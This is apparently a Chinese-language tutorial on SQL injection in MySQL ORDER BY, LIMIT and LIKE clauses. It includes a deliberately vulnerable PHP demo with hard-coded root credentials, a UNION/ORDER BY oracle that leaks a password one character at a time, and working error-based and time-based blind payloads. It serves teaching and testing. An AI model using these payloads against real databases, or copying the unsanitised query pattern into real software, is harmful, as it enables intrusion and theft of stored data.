order by

order by in like等关键字之后,无法使用预编译。 所以很可能存在注入, 原因如下

order by + 字段 如果使用预编译,那么经过预编译处理之后,会变成一个字符串,order by后面不能根据一个字符串来排序,所以会报错。同理在sql语句中,需要使用字段的地方,都不能使用预编译。那么该如何防御呢??因为字段名这些东西,数量有限;所以可以使用白名单的方式来防御。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
if (@$_POST['arg']) {
$arg=$_POST['arg'];

$mysql = new mysqli("localhost", "root", "root", "test");

$query = "select * from user order by $arg";
var_dump($query);

$row=$mysql->query($query);
if($mysql->error){
echo $mysql->error;
}
else {
$result=$row->fetch_assoc();
#var_dump($result);
echo "Hello ".$result['arg'];
}


$mysql->close();
}
else{
exit;
}
?>

union

利用order by的升序降序原理,这种注入方式,注入点不是在order by之后

看个demo,大致上就是这么个逻辑

1
2
3
4
5
6
7
8
$sql="select username,password from user where username='$username'";
$row=query($sql);
if(!$row['username']=='admin'){
exit "用户名错误";
}
if(!$row['password']=='password'){
exit "密码错误";
}
1
2
3
4
5
mysql> CREATE TABLE test (
-> username varchar(20) NOT NULL ,
-> password varchar(20) NOT NULL, PRIMARY KEY (username)
-> );
INSERT INTO test VALUES('admin','password');

测试

order by默认升序,小的在上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#猜测的字符比密码字段小,所以a在上
mysql> select * from test where username='' or 1 union select 1,'a' order by 2;
+----------+----------+
| username | password |
+----------+----------+
| 1 | a |
| admin | password |
+----------+----------+
2 rows in set (0.00 sec)

#猜测的字符比密码字段大,所以password在上
mysql> select * from test where username='' or 1 union select 1,'z' order by 2;
+----------+----------+
| username | password |
+----------+----------+
| admin | password |
| 1 | z |
+----------+----------+
2 rows in set (0.00 sec)

#猜测的字符和密码的第一位相等,所以会去比较第二位,最后password在上
mysql> select * from test where username='' or 1 union select 1,'p' order by 2;
+----------+----------+
| username | password |
+----------+----------+
| 1 | p |
| admin | password |
+----------+----------+
2 rows in set (0.00 sec)

报错注入

payload

1
2
arg=id and (updatexml(0x3a,concat(1,(select database())),1))%23
arg=id and (extractvalue(1, concat(0x5c,(select user()))))%23

盲注

if

1
arg=if(1=1,sleep(1),1)

rand

1
arg=rand(if(1<2,1,0))

limit

这种方式已经不太好用了,简单的看了一下

analyse函数,在MySQL小于5.6好用 5.6以上没用,因为analyse函数已经改变了

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

limit后面只有procedure和into两个关键字可以用 into是用在写shell时才有用

1
2
mysql> SELECT * FROM user LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
ERROR 1105 (HY000): XPATH syntax error: ':test'

like

like后面同样不能使用预编译,

注入方式类似于正则

1
select * from user where username like 'a%';